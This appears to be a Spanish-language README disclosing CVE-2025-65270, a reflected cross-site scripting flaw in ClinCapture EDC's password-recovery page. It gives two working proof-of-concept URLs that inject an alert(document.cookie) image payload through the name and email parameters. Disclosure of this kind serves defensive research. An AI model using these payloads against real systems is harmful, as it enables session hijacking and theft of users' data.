CVE-2025-65270

⚠️ Aviso legal

Este repositorio es solo para fines educativos y de investigación defensiva

🔥 Descripción general

Vulnerabilidad de cross-site scripting (XSS) reflejado en ClinCapture EDC 3.0 y 2.2.3, que permite a un atacante remoto no autenticado ejecutar código JavaScript en el contexto del navegador de la víctima.

🧪 Prueba de concepto

Para demostrar la vulnerabilidad, debe ir a la pestaña de recuperación de contraseña y especificar el payload en el parámetro name o email, o enviar una solicitud

🔓 Mediante el parámetro name

<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🔓 Mediante el parámetro email

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

🚨 Impacto

Un usuario no autenticado puede ejecutar código JavaScript en el contexto del navegador de la víctima, con el objetivo de realizar acciones en nombre de la víctima o robar información confidencial, como la respuesta a una pregunta de seguridad

🔗 Referencias

• CVE-2025-65270